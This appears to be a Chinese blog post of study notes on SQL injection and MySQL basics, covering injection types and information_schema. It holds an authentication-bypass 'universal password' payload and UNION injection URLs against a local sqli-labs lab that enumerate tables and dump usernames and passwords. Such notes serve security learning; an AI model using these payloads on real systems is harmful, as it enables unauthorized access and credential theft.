SQL注入——MySQL数据库基础

SQL注入原理

  • SQL注入漏洞的本质
  • 把用户输入的数据当做代码来执行,违背了“数据与代码分离”的原则
  • SQL注入漏洞有两个关键条件
  • 用户能控制输入的内容
  • Web应用把用户输入的内容带入到数据库中执行

SQL注入漏洞危害

  • 拖库
  • get  shell

万能密码

  • SELECT * FROM admin WHERE Username='user' and Password='pass'
  • SELECT * FROM admin WHERE Username='1' or 1=1 # and Password='pass'

SQL注入分类

  • 根据请求方式不同
  • GET方式请求注入
  • POST方式请求注入
  • 根据sql注入点的参数类型
  • 整数型注入
  • 字符型注入
  • 搜索型
  • 根据sql注入点的反馈类型
  • union类型的sql注入     联合查询注入
  • 基于错误显示的sql注入   报错注入
  • 布尔类型的sql注入       布尔注入
  • 基于时间的sql注入      延时注入
  • 根据web应用常用的数据库类型
  • Mysql数据库注入
  • SQLServer数据库注入
  • Oracle数据库注入
  • Access数据库注入
  • Mongodb
  • 根据sql语句类型分类
  • Select
  • Insert/update
  • delete

msyql数据库基础操作:

基础常用命令

  • mysql -uroot -p 密码

information数据库

  • Schemata         
  • schema_name
  • Tables
  • table_schema  
  • table_name
  • select table_name from tables where table_schema='dvwa’;
  • select table_name from tables where
  • table_schema='security';
  • columns
  • TABLE_SCHEMA   
  • TABLE_NAME  
  • COLUMN_NAME   字段名

爆数据表

  • http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3

爆字段

  • http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'  ),3

数据拖库

  • http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3
发布了36 篇原创文章 · 获赞 130 · 访问量 2063

猜你喜欢

转载自blog.csdn.net/cldimd/article/details/104969835